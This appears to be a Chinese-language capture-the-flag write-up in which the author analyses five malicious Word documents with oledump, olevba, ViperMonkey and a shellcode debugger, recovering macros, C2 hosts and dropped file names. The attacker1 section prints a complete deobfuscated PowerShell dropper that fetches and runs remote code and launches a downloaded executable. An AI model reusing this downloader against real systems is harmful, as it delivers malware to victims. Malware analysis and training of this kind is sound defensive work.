准备工作
点进去发现有五个doc文档,分别是attacker1-5,可以考虑开一个python服务器把文件导出来引入一个很好的工具
oledump,其用于分析复合二进制格式的文件 (.doc .xls .ppt) 中包含的数据流,而 .docx .xlsx则是新的文件格式(ZIP内的xml)
attacker1先检查数据流:

其中前面标有
M的表示该流包含VBA宏根据文档,使用
-s [流编号]输出指定流的内容,-v输出vba宏代码
那么有宏的流为
8,名称为ThisDocument可以看到代码被混淆了,扔给ai,分析出来是利用
autoopen()在word打开时执行powershell指令来下载恶意脚本,其中注意到这句:1
Trim(Replace(pNHbvwXpnbZvS.AlternativeText + "", "[", "A"))
其将所有
[替换为A看看别的流,用
-S仅输出字符串而不输出16进制
这里有手机号
213-446-1757而对于数据流4,其中有一个混淆过的
powershell命令,而其中恰有一堆[解码一下,注意要删掉零字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){
if($m.Name -eq "DownloadString"){
try{
$uri = New-Object System.Uri("http://176.32.35.16/704e.php")
IEX($m.Invoke($instance, ($uri)));
}catch{}
}
if($m.Name -eq "DownloadData"){
try{
$uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
$response = $m.Invoke($instance, ($uri));
$path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
[System.IO.File]::WriteAllBytes($path, $response);
$clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)
$object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)
}catch{}
}
}
Exit;拿到
C2域中下载的文件fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas,想要生成的文件QdZGP.exe,ip和php页面176.32.35.16/704e.php对于投放的文件夹,显然和
$path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe"有关,搜了一下在C:\ProgramData,即%ProgramData%想要连接的
com的名称借助这个网址搜clsid得到:ShellBrowserWindow根据
hint用olevba得到autoexec用
file拿到subject和日期:
West Virginia Samanta日期需要用
oletimes来看,和file看的差30秒
2019-02-07 23:45:30attacker2故技重施得到

携带宏的是
12, 13, 14, 16-i参数输出关于流的信息
引入另一个工具 olevba
用
grep读取里面的fun内容
同样,
olevba末尾的表格会帮你总结出一些东西
两个域名,第一个dll名称和dll个数都在这里
继续用
grep 'dll'找到其的路径以及用来运行dll的文件名睡眠时长那里需要
grep 'Sleep'才行从哪个流的话就
grep 'stream',真是酣畅淋漓的解密啊
attacker3要下载的可执行程序名,故技重施
grep 'exe'让
olevba分析得到:
即运行1.exe的程序是
certutil,存放到programdata,该流VBA/T是A3恶意url那个在LG后面那堆加密的里面,引入一个新工具 vipermonkey,注意用
python2启动
attacker4olevba看一下,锁定到这里:

被丢弃的文件应该是最后一个,那么就是这个

同理得到
\DYIATHUQLCW.exe然后
vmonkey启动:
全秒了。。。
attacker5恶意文档的标题,用
oledump一个个看:
然后直接vmonkey启动,分析出来一长串加密的powershell命令,试了试是base64

还有加密,再扔回去,自动识别出是
gzip:
异或的十进制:

用这个作为密钥勉强解密出其上面那段powershell命令

拿到
C2:176.103.56.89UA:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)这确实是一个shell文件,需要下到本地用
shellcodedebugger来做这玩意找了半天只有windows的gui版:http://sandsprite.com/CodeStuff/scdbg.zip
把下载的
.dat扔进去,那个/SjMR是存的路径。。。